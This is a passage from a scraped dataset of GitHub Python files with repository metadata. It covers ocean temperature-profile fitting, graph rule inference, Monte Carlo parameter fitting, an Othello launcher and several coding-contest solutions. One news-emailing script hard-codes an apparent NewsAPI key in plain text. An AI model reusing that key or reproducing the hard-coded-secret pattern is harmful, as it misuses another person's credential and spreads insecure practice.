(i,j) in zip(bounds_low, bounds_up)])\n popt = result.x\n layer_d = popt[:int(len(popt)/2)]\n layer_v = popt[int(len(popt)/2):]\n bool_d = layer_d < np.nanmax(depth) # Do we trust the data\n popt = np.concatenate((layer_d,layer_v))\n print('Resulting values for layer depth, temperature and Trust flag')\n print(layer_d)\n print(layer_v)\n print(bool_d)\n except RuntimeError:\n print(\"Fit cannot be computed, all layer values set to NaN\")\n return (p0*np.NaN, [False, False, False, False])\n #print([0,10,50,70,5,10,11,7])\n #print(popt)\n if plotBool:\n plt.plot(var, depth,'o')\n plt.plot([multi_linear(d, popt) for d in range(120)], range(120))\n plt.ylim(119,0)\n plt.show()\n return (popt, bool_d)\n\n\ndef multi_linear_fjord(d_tot, d0, d1, d2, d3, v0, v1, v2, v3):\n #print([d0, d1, d2, d3, v0, v1, v2, v3])\n return [multi_linear(d, layer=[d0, d1, d2, d3, v0, v1, v2, v3]) for d in d_tot]\n \ndef multi_linear(d, layer):\n \"\"\"\n layer contains depth and then values\n so that :\n layer_depth = layer[:int(len(layer)/2)]\n layer_value = layer[int(len(layer)/2):]\n \n returns the value of the studied variable, at the depth *d*\n \n the function evolves linearly between the different depths\n first value of layer_depth must be 0 (i.e. surface value),\n layers_depth must be an increasing array\n \n if d > max(layer_depth), return value of layer_value at this point\n \n run function multi_linear_ex for an example\n \"\"\"\n layer_depth=np.array(layer[:int(len(layer)/2)])\n layer_value=np.array(layer[int(len(layer)/2):])\n # removing NaN\n NAN = np.isnan(layer_depth) | np.isnan(layer_value)\n # if only NaN, we return NaN\n if NAN.all():\n print('Returning NaN for mutli linear fit')\n return np.nan\n layer_depth = layer_depth[~NAN]\n layer_value = layer_value[~NAN]\n # sorting to get depth increasing\n layer_value = layer_value.ravel()[layer_depth.argsort(axis=None).reshape(layer_depth.shape)]\n layer_depth.sort()\n # find inbetween values for d\n # these depth values are called d0 and d1\n # idem with values, v0 and v1\n if d <= np.min(layer_depth):\n return layer_value[0]\n if d >= np.max(layer_depth):\n return layer_value[-1]\n else:\n d0 = layer_depth[d >= layer_depth][-1]\n d1 = layer_depth[d <= layer_depth][0]\n v0 = layer_value[d >= layer_depth][-1]\n v1 = layer_value[d <= layer_depth][0]\n if d0 == d1:\n return v0\n else:\n return v0 + (d-d0)*(v1-v0)/(d1-d0)\n\ndef multi_linear_ex():\n \"\"\"\n plots an example of multi_linear function\n \"\"\"\n d_tot = np.linspace(0,100,101)\n layer_depth = [0,10,50,70]\n layer_value = [5,10,11,7]\n layer = layer_depth + layer_value\n #print(layer)\n v_tot = [multi_linear(d, layer) for d in d_tot]\n\n plt.plot(v_tot, d_tot)\n plt.plot(layer_value, layer_depth, 'o')\n plt.ylim(d_tot[-1], d_tot[0])\n plt.show()\n\ndef fit_all_prof(datadir, plotBool=False):\n \"\"\"\n Fit all temperature profile of data in datadir\n save the data on the same netcdf file, with new attributes:\n data.TEMP_f : for the fit of temperature\n data.layer_d : the depth of the different layers\n data.layer_t : the temperature at the different depth of layers\n \"\"\"\n for filename in os.listdir(datadir):\n if filename=='SK_20181210_07_grid.nc' or True:\n print(filename)\n data = xr.open_dataset(os.path.join(datadir, filename))\n (layer,layer_flag) = calc_fit(data.DEPTH.values, data.ptemp.values, \\\n plotBool=plotBool)\n layer_d = layer[:int(len(layer)/2)]\n layer_v = layer[int(len(layer)/2):]\n TEMP_f = [multi_linear(d, layer) for d in data.DEPTH.values]\n data['TEMP_f'] = ('DEPTH', TEMP_f)\n data['layer_d'] = layer_d\n data['layer_v'] = layer_v\n data['layer_flag'] = layer_flag\n os.remove(os.path.join(datadir, filename))\n data.to_netcdf(os.path.join(datadir, filename))\n\n \nif __name__ == '__main__':\n data = xr.open_dataset('Data/ctd_files/gridded_calibrated_updated/TB_20181210_10_grid.nc')\n depth=data.DEPTH.values\n temp=data.TEMP.values\n NAN = np.isnan(temp) | np.isnan(depth)\n depth = depth[~NAN]\n temp = temp[~NAN]\n #calc_fit(depth, temp)\n #multi_linear_ex()\n fit_all_prof('Data/ctd_files/fitted', plotBool=False)\n","repo_name":"rcaneill/OC4920","sub_path":"Scripts/fit_profile.py","file_name":"fit_profile.py","file_ext":"py","file_size_in_byte":6063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25280642110","text":"import sys\nsys.stdout = open('./output.txt', 'w')\nsys.stdin = open('./input.txt', 'r')\n\n\ndef answer_finder():\n salary = int(input())\n if salary < 1500:\n hra = 0.1*salary\n da = 0.9*salary\n ans = salary + hra + da\n print(ans)\n else:\n hra = 500\n da = 0.98*salary\n ans = salary + hra + da\n print(ans)\n \n\n\ntest_cases = int(input())\nwhile test_cases:\n test_cases -= 1\n answer_finder()\n","repo_name":"naveen701526/Code-Chef-Contest-Problems","sub_path":"0-1000 Beginner Level/FLOW011.py","file_name":"FLOW011.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"30276330048","text":"import cProfile\nimport mod\nimport sys\n\nfrom argparse import ArgumentParser\nfrom GTRI.canonicalisation import CanonicalGraph, GraphCanonicaliser\nfrom GTRI.ilp_model import model_from_iterated_map, ILPModel, ILPSolution\nfrom GTRI.iterated_map import IteratedMap\nfrom GTRI.rule_graph import RuleGraph\nfrom GTRI.transition import Transition\nfrom os import listdir, path\nfrom typing import List\n\n\ndef _parse_iterated_map(input_directory: str, canonicaliser: GraphCanonicaliser) -> IteratedMap:\n graph_subdirectory = path.join(input_directory, \"graphs\")\n\n input_graphs: List[CanonicalGraph] = list(set(canonicaliser.canonicalise_graph(\n mod.Graph.fromGMLFile(path.join(graph_subdirectory, file_name), add=False))\n for file_name in listdir(graph_subdirectory)))\n\n rule_subdirectory = path.join(input_directory, \"rules\")\n\n transitions: List[Transition] = list(set(\n Transition(RuleGraph.from_rule(mod.Rule.fromGMLFile(path.join(rule_subdirectory, file_name), add=False),\n canonicaliser)) for file_name in listdir(rule_subdirectory)\n ))\n\n return IteratedMap(input_graphs, transitions, canonicaliser)\n\n\ndef main():\n parser: ArgumentParser = ArgumentParser(description='Finds a generating rule set for a labeled iterated map.')\n\n parser.add_argument('input_directory', help=\"Directory containing the input labeled iterated map consisting \"\n \"of 'graphs' subfolder with input graphs and \"\n \"'rules' subfolder with transitions as gml rules.\")\n parser.add_argument('output_file', nargs='?', default=None, help=\"File for writing the inferred rules.\")\n\n parser.add_argument('-r', '--distortion_scale', type=float, default=1.0,\n help=\"Scalar by which the number of spurious transitions is multiplied in the ILP. \"\n \"Used to establish a desired relationship between the compression and distortion rates.\")\n\n parser.add_argument('-s', '--save_model', type=str, default=None,\n help=\"Save the ILP model to the specified file in json format. \"\n \"The model can be reloaded for experiments with varying distortion scales.\")\n\n parser.add_argument('-l', '--load_model', type=str, default=None,\n help=\"Load the ILP model from file instead of building from the labeled iterated map.\")\n\n arguments = parser.parse_args(sys.argv[1:])\n\n canonicaliser: GraphCanonicaliser = GraphCanonicaliser()\n\n if arguments.load_model:\n print('Loading ILP Model from file...')\n print('-------------------')\n model: ILPModel = ILPModel.load(arguments.load_model, arguments.distortion_scale, canonicaliser)\n else:\n iterated_map: IteratedMap = _parse_iterated_map(arguments.input_directory, canonicaliser)\n iterated_map.print_summary()\n\n print('Building ILP Model...')\n print('-------------------\\n')\n with iterated_map:\n model: ILPModel = model_from_iterated_map(iterated_map, arguments.distortion_scale)\n\n if arguments.save_model:\n model.save(arguments.save_model)\n\n model.print_information()\n\n print()\n\n print('Solving Rule Distillation Model...')\n print('-------------------')\n solution: ILPSolution = model.solve()\n solution.print_information()\n\n if arguments.output_file:\n solution.save(arguments.output_file)\n\n\nif __name__ == \"__main__\":\n # with cProfile.Profile() as profile:\n # main()\n #\n # profile.dump_stats(\"profile.prof\")\n main()\n","repo_name":"JuriKolcak/rule_inference","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"25240241169","text":"import pyvista as pv\nimport numpy as np\n\n\"compute volume V, surface area A, the ratio A/V, and the ratio A^3/V^2 for various sized prisms\"\n\n\n# simple function to check for symmetric matrix\n# \treturns True for symmetric matrix\ndef check_symmetric(a, rtol=1e-05, atol=1e-08):\n\treturn np.allclose(a, a.T, rtol=rtol, atol=atol) \n\n\n# array of widths, depths, and heights\nmaxSize = 7\nW = np.linspace(1,maxSize,maxSize) \t# width\nD = W \t\t\t\t\t\t\t\t# depth\nH = W \t\t\t\t\t\t\t\t# height\n\nDD, HH, WW = np.meshgrid(D, H, W) \n\n# volume\nV = DD*HH*WW \n\n# surface area\nA = 2*(WW*DD) + 2*(WW*HH) + 2*(DD*HH)\n\n# surface area to volume\nAtoV = A/V\n\n# nondimensional surface area to volume A^3/V^2\nndAtoV = A**3/(V**2)\n\n# create a PyVista mesh to store this data\n# Create the spatial reference\ndata = pv.UniformGrid()\n\n# Set the grid dimensions: shape + 1 because we want to inject our values on\n# the CELL data\ndata.dimensions = np.array(V.shape) + 1\ndata.cell_arrays[\"V\"] = V.flatten(order=\"F\") \ndata.cell_arrays[\"A\"] = A.flatten(order=\"F\") \ndata.cell_arrays[\"A/V\"] = AtoV.flatten(order=\"F\") \ndata.cell_arrays[\"A3/V2\"] = ndAtoV.flatten(order=\"F\") \n\n\n# plot\ndata.set_active_scalars(\"V\")\ndata.plot(show_edges=True, show_grid=True) \n\ndata.set_active_scalars(\"A\")\ndata.plot(show_edges=True, show_grid=True) \n\ndata.set_active_scalars(\"A/V\")\ndata.plot(show_edges=True, show_grid=True) \n\ndata.set_active_scalars(\"A3/V2\")\ndata.plot(show_edges=True, show_grid=True) \n\n\n# contours\ndata.set_active_scalars(\"V\")\nptdata = data.cell_data_to_point_data()\nVdataContours = data.cell_data_to_point_data().contour(5, scalars=data.active_scalars_info.name)\nVdataContours.plot(show_grid=True)\n\ndata.set_active_scalars(\"A\")\nptdata = data.cell_data_to_point_data()\nAdataContours = data.cell_data_to_point_data().contour(5, scalars=data.active_scalars_info.name)\nAdataContours.plot(show_grid=True)\n\ndata.set_active_scalars(\"A/V\")\nptdata = data.cell_data_to_point_data()\nAVdataContours = data.cell_data_to_point_data().contour(5, scalars=data.active_scalars_info.name)\nAVdataContours.plot(show_grid=True)\n\ndata.set_active_scalars(\"A3/V2\")\nptdata = data.cell_data_to_point_data()\nndAVdataContours = data.cell_data_to_point_data().contour(5, scalars=data.active_scalars_info.name)\nndAVdataContours.plot(show_grid=True)\n\n# write out cell-based data\n# pv.save_meshio(\"AV.xdmf\", data) \n\n# write out point-based data\n# pv.save_meshio(\"AVpoint.xdmf\", ptdata) \n\n\n","repo_name":"jbrittonb/CCT3d","sub_path":"AreaToVolumeRatios.py","file_name":"AreaToVolumeRatios.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71346449367","text":"import requests\nfrom send_email import send_email\n\ntopic = \"tesla\"\n\napi_key = \"25c6584d66ee45598295501ada567930\"\nurl = \"https://newsapi.org/v2/everything?\"f\"q={topic}\"\"&from=2023-06-08&sortBy=publishedAt&apiKey=25c6584d66ee45598295501ada567930&language=en\"\n\n# Make request\nrequest = requests.get(url)\n\n# Get a dictionary with data\ncontent = request.json()\n\n# Access the article titles and description\nbody = \"\"\nfor article in content[\"articles\"][:20]:\n if article[\"title\"] is not None:\n body = \"Subject: Today's news\" + \"\\n\" + body + article[\"title\"] + \"\\n\" + article[\"description\"] + \"\\n\" + article[\"url\"] + 2*\"\\n\"\n\nbody = body.encode(\"utf-8\")\nsend_email(message=body)","repo_name":"MCdev92/python-projects","sub_path":"Intermediate/news-api-email/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"23333103797","text":"from Othello import Othello\nfrom Othello import AI\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ngeneration = int(input('Which generation do you wish to play against:'))\nw1 = np.load('weights\\weight-Gen{:03d}-1.npy'.format(generation))\nw2 = np.load('weights\\weight-Gen{:03d}-2.npy'.format(generation))\nai = AI(weight1=w1, weight2=w2)\nplayer = int(input('Which player do you wish to be (black: -1, white: 1) (or choose another ai):'))\ngame = Othello()\nprint(np.average(np.abs(w1)))\nprint(np.average(np.abs(w2)))\nif player > 1:\n w1 = np.load('weights\\weight-Gen{:03d}-1.npy'.format(player))\n w2 = np.load('weights\\weight-Gen{:03d}-2.npy'.format(player))\n ai2 = AI(weight1=w1, weight2=w2)\n ai.set_name('Gen'+str(generation))\n ai2.set_name('Gen'+str(player))\n game.play_self(ai, ai2, display_board=True)\nelse:\n game.play(ai, player)\n\n\n# n, bins, patches = plt.hist(w1, 50, normed=1, facecolor='green', alpha=0.75)\n# plt.show()","repo_name":"Christiaanben/OthelloAI","sub_path":"play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10531054690","text":"import numpy as np\r\nfrom math import cosh, pi\r\n\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.colors as pltcolor\r\nimport matplotlib.ticker as plttick\r\nimport corner\r\n\r\nimport lmfit as lm\r\n\r\nimport os\r\n\r\nimport fuctionforfit\r\n\r\n\r\n\r\n##########################\r\n######### residu #########\r\n##########################\r\ndef meshgridbrutemethod(nameDirectory) :\r\n\t### creation delta, xi\r\n\tnDelta = 61 ; delta = np.linspace(-1,5,nDelta)\r\n\txi = np.array([ np.linspace(5e-4,5e-1,1000,endpoint=False) ]) ; xi = np.reshape(xi,np.size(xi))\r\n\r\n\t### Creation of the grid\r\n\tX,Y = np.meshgrid(delta, xi, indexing='ij', sparse=False)\r\n\t\r\n\t### Change of directory\r\n\tos.chdir(nameDirectory)\r\n\tnp.save('Xforresidual', X) ; np.save('Yforresidual', Y)\r\n\r\n\treturn X,Y\r\n\r\n\r\n\r\n###############################################################################\r\ndef brutemethod(nameDirectory, nFiles, nAllFile, baseValue, X, Y) :\r\n\t### Change of directory\r\n\tsubDirectoryVideo = '{0}/{1}'.format(nameDirectory, nAllFile[nFiles]) ; print(subDirectoryVideo)\r\n\tos.chdir(subDirectoryVideo)\r\n\r\n\r\n\t### Lecture data\r\n\tdatGlobal = np.loadtxt('globalAnalysisData.txt')\r\n\r\n\r\n\t### Brute method \r\n\t\t# Grid results\r\n\t(nDelta,nXi) = np.shape(X)\r\n\tresidual = np.empty((nDelta,nXi))\r\n\r\n\t\t# Constant value\r\n\twidth = np.mean(datGlobal[:,1])\r\n\tR0 = 2.84e-6\r\n\theight = baseValue.distance[0,9]\r\n\tA = cosh(pi * width / height)\r\n\tB = cosh(3 * pi * width / height)\r\n\r\n\tfor i in range(nDelta) :\r\n\t\tfor j in range(nXi) :\r\n\t\t\tresidual[i,j] = np.sum( np.sqrt( (( datGlobal[:,2] - fuctionforfit.yfit(\r\n\t\t\t\tdatGlobal[:,0], X[i,0], Y[0,j], 0, datGlobal[0,2], width, R0, height, A, B) ) / datGlobal[:,3])**2 ) )\r\n\r\n\r\n\t### Save data\r\n\tresidualFile = 'matriceResidual'\r\n\tnp.save(residualFile, abs(residual))\r\n\tprint('residual for {}'.format(subDirectoryVideo))\r\n\r\n\treturn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n###############################\r\n######### Plot residu #########\r\n###############################\r\ndef searchgrid(nameDirectory) :\r\n\t### Change directory\r\n\tos.chdir(nameDirectory)\r\n\r\n\t### Take back the grid\r\n\tX = np.load('Xforresidual.npy') ; Y =np.load('Yforresidual.npy')\r\n\r\n\treturn X,Y\r\n\r\n\r\n\r\n###############################################################################\r\ndef plotresidu(nameDirectory, nFiles, nAllFile, baseValue, ax, X, Y) :\r\n\t### Change of directory\r\n\tsubDirectoryVideo = '{0}/{1}'.format(nameDirectory, nAllFile[nFiles]) ; print(subDirectoryVideo)\r\n\tos.chdir(subDirectoryVideo)\r\n\r\n\r\n\t### Lecture data\r\n\tresidual = np.load('matriceResidual.npy')\r\n\t(line, column) = np.shape(residual)\r\n\r\n\r\n\t### Modification data\r\n\t\t# Mask residu\r\n\tlimResidual = np.percentile(residual,1)\r\n\tboolResidual = np.zeros((line, column), dtype=int)\r\n\r\n\t\t# Threshold residu\r\n\tboolResidual[residual < limResidual] = 1\r\n\t(xMin, yMin) = np.unravel_index(np.argmin(residual, axis=None), residual.shape)\r\n\tprint('the residual = ',residual[xMin, yMin], 'delta = ', X[xMin,0], 'xi = ', Y[0,yMin], 'xMin = ', xMin, 'yMin = ', yMin)\r\n\r\n\r\n\t### Plot\r\n\t\t# Individual plot\r\n\t\t\t# New colormap\r\n\tcMap = pltcolor.ListedColormap([(1,1,1,0), pltcolor.to_rgba(baseValue.color_file[nFiles],0.2)])\r\n\r\n\t\t\t#Plot\r\n\t\t\t\t# Plot 1\r\n\tfig1 = plt.figure('plot residual for {}'.format(baseValue.name_file))\r\n\tax11 = fig1.add_axes([0.15,0.1,0.8,0.85])\r\n\tax11.set_xlabel(r'$\\delta$') ; ax11.set_ylabel(r'$\\xi$')\r\n\tax11.contourf(X, Y, boolResidual, cmap=cMap)\r\n\tax11.set_yscale('log')\r\n\r\n\t\t\t\t# Plot 2\r\n\tfig2 = plt.figure('plot residual precisely for {}'.format(baseValue.name_file))\r\n\tax21 = fig2.add_axes([0.15,0.1,0.8,0.85])\r\n\tax21.set_xlabel(r'$\\delta$') ; ax21.set_ylabel(r'$\\xi$')\r\n\tlevel = plttick.MaxNLocator(nbins=100).tick_values(residual.min(), residual.max())\r\n\tax21.contourf(X, Y, residual, levels=level, cmap='viridis')\r\n\tax21.set_yscale('log')\r\n\r\n\t\t\t# Save plot\r\n\tfig1.savefig('residual.pdf', frameon=False, bbox_inch='tight', orientation='landscape')\r\n\tfig2.savefig('precise residual.pdf', frameon=False, bbox_inch='tight', orientation='landscape')\r\n\r\n\t\t# Collective plot\r\n\tax.contourf(X, Y, boolResidual, cmap=cMap)\r\n\r\n\treturn ax\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n###############################\r\n######### Sum residu ##########\r\n###############################\r\ndef sumresidu(nameDirectory, nAllFile, sizeAllFile) :\r\n\t### Creation grid\r\n\t\t# grid\r\n\tX,Y = searchgrid(nameDirectory)\r\n\tn = np.shape(X)\r\n\r\n\t\t# creation vector data\r\n\tvectorSum = np.zeros( (n[0], n[1]) )\r\n\r\n\r\n\t### Sum all residual\r\n\tfor nFiles in range(sizeAllFile) :\r\n\t\t# Change of directory\r\n\t\tsubDirectoryVideo = '{0}/{1}'.format(nameDirectory, nAllFile[nFiles]) ; print(subDirectoryVideo)\r\n\t\tos.chdir(subDirectoryVideo)\r\n\r\n\t\t# Lecture data\r\n\t\tresidual = np.load('matriceResidual.npy')\r\n\r\n\t\t# Modification data\r\n\t\tvectorSum = vectorSum + residual\r\n\r\n\r\n\t### Minimum\r\n\t(xC, yC) = np.unravel_index(np.argmin(vectorSum, axis=None), (n[0], n[1]))\r\n\r\n\r\n\t### Plot\r\n\tfig = plt.figure('plot sum all residual')\r\n\tax1 = fig.add_axes([0.15,0.1,0.8,0.85])\r\n\tcMapVeridis = plt.cm.get_cmap('viridis')\r\n\tax1.set_xlabel(r'$\\delta$') ; ax1.set_ylabel(r'$\\xi$')\r\n\tlevel = plttick.MaxNLocator(nbins=100).tick_values(vectorSum.min(), vectorSum.max())\r\n\tplot = ax1.contourf(X, Y, vectorSum, levels=level, cmap=cMapVeridis)\r\n\tplt.plot(X[xC,0], Y[0, yC], linestyle='None', marker='o', color='r', markersize=5)\r\n\tax1.set_yscale('log')\r\n\tfig.colorbar(plot, ax=ax1)\r\n\r\n\t\t\t# Save plot\r\n\tos.chdir(nameDirectory)\r\n\tfig.savefig('sumresidual.pdf', frameon=False, bbox_inch='tight', orientation='landscape')\r\n\tnp.savetxt('value residual.txt', np.array([X[xC,0], Y[0, yC]]))\r\n\r\n\treturn\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n##############################################\r\n######### Fit by Monte Carlo method #########\r\n##############################################\r\ndef montecarlofity(nameDirectory, nFiles, nAllFile, baseValue) :\r\n\t### Change of directory\r\n\tsubDirectoryVideo = '{0}/{1}'.format(nameDirectory, nAllFile[nFiles]) \r\n\tos.chdir(subDirectoryVideo)\r\n\r\n\r\n\t### Lecture data\r\n\tdatGlobal = np.loadtxt('globalAnalysisData.txt') \r\n\r\n\r\n\t### Basic fit with Nelder\r\n\t\t# function\r\n\tdef ydataset(params, position) :\r\n\t\tdelta = params['delta'].value\r\n\t\txi = params['xi'].value\r\n\t\tyIni = params['yIni'].value\r\n\t\twidth = params['width'].value\r\n\t\tradius = params['radiusRBC'].value\r\n\r\n\t\tx = position\r\n\t\treturn fuctionforfit.yfitsimple(x, delta, xi, yIni, width, radius)\r\n\r\n\t\t# residual function\r\n\tdef objective(params, position, data, error) :\r\n\t\tresidual = (data - ydataset(params, position))/error\r\n\t\treturn residual.flatten()\r\n\r\n\t\t# Calcul delta, xi et yIni optimal with the method differential_evolution\r\n\t\t\t# Mise en place parameter\r\n\twidth = np.mean(datGlobal[:,1])\r\n\tR0 = 2.84e-6\r\n\tyInitial = datGlobal[0,2] ; yInitialError = datGlobal[0,3]\r\n\r\n\tfitParam = lm.Parameters()\r\n\tfitParam.add( 'delta', 0, min=0, max=10 )\r\n\tfitParam.add( 'xi', 1e-5, min=1e-10, max=1 )\r\n\tfitParam.add( 'yIni' , datGlobal[0,2], min=yInitial-yInitialError, max=yInitial+yInitialError )\r\n\tfitParam.add( 'width', width, vary=False )\r\n\tfitParam.add( 'radiusRBC', R0, vary=False )\r\n\r\n\t\t\t# Calcul fit\r\n\tresult = lm.minimize(objective, fitParam, method='Nelder', args=(datGlobal[:,0], datGlobal[:,2], datGlobal[:,3]), nan_policy='omit')\r\n\r\n\r\n\t### Log-posterior probability\r\n\t\t# Add a noise parameter\r\n\tresult.params.add('noise', value=1, min=1e-8, max=100)\r\n\r\n\t\t# This is the log-likelihood probability for the sampling\r\n\tdef lnprob(params, position, data, error) :\r\n\t\tnoise = params['noise'].value\r\n\t\tresidual = (data - ydataset(params, position)) / error\r\n\t\tlogProb = -0.5 * np.sum( (residual/noise)**2 + np.log(2* np.pi* noise**2) )\r\n\t\treturn logProb\r\n\r\n\t\t# Set Minimizer\r\n\tresultMini = lm.Minimizer( lnprob, result.params, fcn_args=(datGlobal[:,0], datGlobal[:,2], datGlobal[:,3]) )\r\n\tres = resultMini.emcee(burn=300, steps=10000, thin=20, params=result.params)\r\n\tprint('----------------{}----------------'.format(nAllFile[nFiles]))\r\n\tlm.report_fit(res.params)\r\n\r\n\r\n\t\t# Plot results\r\n\tcorner.corner( res.flatchain, labels=res.var_names, truths=list(res.params.valuesdict().values()),\r\n\t\t\t\t title_kwargs='monte carlo for {}'.format(baseValue.name_file) )\r\n\tplt.savefig('monte carlo.pdf'.format(baseValue.name_file), frameon=False, bbox_inch='tight', orientation='landscape')\r\n\r\n\treturn\r\n\r\n\r\n\r\n\r\n###############################################################################\r\ndef montecarlofitytN(nameDirectory, nFiles, nAllFile, baseValue) :\r\n\t### Change of directory\r\n\tsubDirectoryVideo = '{0}/{1}'.format(nameDirectory, nAllFile[nFiles])\r\n\tos.chdir(subDirectoryVideo)\r\n\r\n\r\n\t### Lecture data\r\n\tdatGlobal = np.loadtxt('globalAnalysisData.txt')\r\n\r\n\r\n\t### Basic fit with Nelder\r\n\t\t# function\r\n\tdef ydataset(params, position) :\r\n\t\tlamb = params['lamb'].value\r\n\t\txi = params['xi'].value\r\n\t\tyIni = params['yIni'].value\r\n\r\n\t\tt = position\r\n\t\treturn fuctionforfit.fitdirect(t, lamb, xi, yIni)\r\n\r\n\t\t# residual function\r\n\tdef objective(params, position, data, error) :\r\n\t\tresidual = (data - ydataset(params, position))/error\r\n\t\treturn residual.flatten()\r\n\r\n\t\t# Calcul delta, xi et yIni optimal with the method differential_evolution\r\n\t\t\t# Mise en place parameter\r\n\tR0 = 2.84e-6\r\n\ty = datGlobal[:,2] / R0\r\n\tyError = datGlobal[:,3] / R0\r\n\r\n\tfitParam = lm.Parameters()\r\n\tfitParam.add( 'lamb', 2, min=0, max=10)\r\n\tfitParam.add( 'xi', 1e-5, min=1e-10, max=1)\r\n\tfitParam.add( 'yIni' , y[0], min=y[0]-yError[0], max=y[0]+yError[0] )\r\n\r\n\t\t\t# Calcul fit\r\n\tresult = lm.minimize(objective, fitParam, method='Nelder', args=(datGlobal[:,17], y, yError), nan_policy='omit')\r\n\r\n\r\n\t### Log-posterior probability\r\n\t\t# Add a noise parameter\r\n\tresult.params.add('noise', value=1, min=1e-8, max=100)\r\n\r\n\t\t# This is the log-likelihood probability for the sampling\r\n\tdef lnprob(params, position, data, error) :\r\n\t\tnoise = params['noise'].value\r\n\t\tresidual = (data - ydataset(params, position)) / error\r\n\t\tlogProb = -0.5 * np.sum( (residual/noise)**2 + np.log(2* np.pi* noise**2) )\r\n\t\treturn logProb\r\n\r\n\t\t# Set Minimizer\r\n\tresultMini = lm.Minimizer( lnprob, result.params, fcn_args=(datGlobal[:,17], y, yError) )\r\n\tres = resultMini.emcee(burn=300, steps=5000, thin=20, params=result.params)\r\n\tprint('----------------{}----------------'.format(nAllFile[nFiles]))\r\n\tlm.report_fit(res.params)\r\n\r\n\t\t# Show result :\r\n\tquantiles = np.percentile(res.flatchain['xi'], [2.28, 15.9, 50, 84.2, 97.7])\r\n\tprint( '2 sigma = ', 0.5*(quantiles[4]-quantiles[0]) )\r\n\r\n\t\t# Plot results\r\n\tcorner.corner( res.flatchain, labels=res.var_names, truths=list(res.params.valuesdict().values()),\r\n\t\t\t\t title_kwargs='monte carlo for {}'.format(baseValue.name_file) )\r\n\tplt.savefig('monte carlo of y(tN).pdf'.format(baseValue.name_file), frameon=False, bbox_inch='tight', orientation='landscape')\r\n\r\n\treturn","repo_name":"SylvainLo/Doctorat","sub_path":"these/chapitre 3/analyse/parameterdispersion.py","file_name":"parameterdispersion.py","file_ext":"py","file_size_in_byte":10629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"20385027802","text":"import sys\n\n#input()\ndef I(): return sys.stdin.readline().rstrip()\n#int(input())\ndef II(): return int(sys.stdin.readline().rstrip())\n#map(int,input().split())\ndef MI(): return map(int, sys.stdin.readline().rstrip().split())\n#list(map(int,input().split()))\ndef LI(): return list(map(int, sys.stdin.readline().rstrip().split()))\n#行列\ndef LLI(rows_number): return [LI() for _ in range(rows_number)]\n\nh,w = MI()\ns = [list(I()) for _ in range(h)]\nans = 1\n\n\nif s[0][0] == \".\":\n ans *= 2\nif s[h-1][w-1] == \".\":\n ans *= 2\n\nfor i in range(1, h):\n check = \"\"\n for j in range(i+1):\n if j > w-1:\n break\n if s[i-j][j] == \"R\":\n if check == \"B\":\n print(0)\n exit()\n else:\n check = \"R\"\n elif s[i-j][j] == \"B\":\n if check == \"R\":\n print(0)\n exit()\n else:\n check = \"B\"\n if check == \"\":\n ans *= 2\n \nfor i in range(1, w-1):\n check = \"\"\n for j in range(i+1):\n if j > h-1:\n break\n if s[h-1-j][w-1-i+j] == \"R\":\n if check == \"B\":\n print(0)\n exit()\n else:\n check = \"R\"\n elif s[h-1-j][w-1-i+j] == \"B\":\n if check == \"R\":\n print(0)\n exit()\n else:\n check = \"B\"\n if check == \"\":\n ans *= 2\n\nprint(ans%998244353)","repo_name":"atomic928/AtCoder","sub_path":"ARC/120/b.py","file_name":"b.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11031698663","text":"# Search Insert Position\n# 링크: https://leetcode.com/problems/search-insert-position/\n\n# 문제풀이(1)\ndef solution(nums, target):\n answer = 0\n \n for i in range(len(nums)):\n if nums[i] == target:\n return i\n\n return answer\n\n# 들어오지 않는 경우 근접한 값의 인덱스번호를 +한다?\n\n\n# 문제풀이(2)\ndef solution(nums, target):\n\n count = 0\n for i in range(len(nums)):\n print(nums[i], count)\n # i가 target보다 커지면 count를 하나 증가시켜서 return\n if nums[i] == target:\n return i\n \n if nums[i] > target:\n return count\n count += 1\n\n return len(nums) # 배열의 길이를 초과할 경우\n\nprint(solution([1,3,5,6], 5)) # 2\nprint(solution([1,3,5,6], 7)) # 4\nprint(solution([1,3,5,6], 2)) # 1","repo_name":"homile/PythonStudy","sub_path":"2022/05.07_46주차/[Leetcode]Search Insert Position.py","file_name":"[Leetcode]Search Insert Position.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"2284397181","text":"\"\"\"Explain output differences.\nThis module explains the differences between expect and actual output\nin a way comprehensible to a novice programmer.\nTodo:\n * Docstrings need to be added\n * This code needs extensive rewriting (better organisation -> modularisation)\n\"\"\"\n\nfrom util.util import InternalError, lambda_function\nfrom .defs import STDOUT, STDERR\n\nfrom termcolor import colored as termcolor_colored\nfrom collections import defaultdict\n\nimport re\nimport difflib\nimport subprocess\nimport shlex\n\n\ndef make_string_canonical(raw_str, canonical_translator, parameters, keep_all_lines=False):\n debug = parameters[\"debug\"]\n s = re.sub(\"\\r\\n?\", \"\\n\", raw_str)\n filter = parameters.get(\"postprocess_output_command\", None)\n\n if filter:\n if debug:\n print(f\"postprocess_output_command={filter} str='{s}'\")\n # FIXME: Design break with run_suppport_command which this is a support command\n # I don't see a reasonable way to put this in the test without lots of 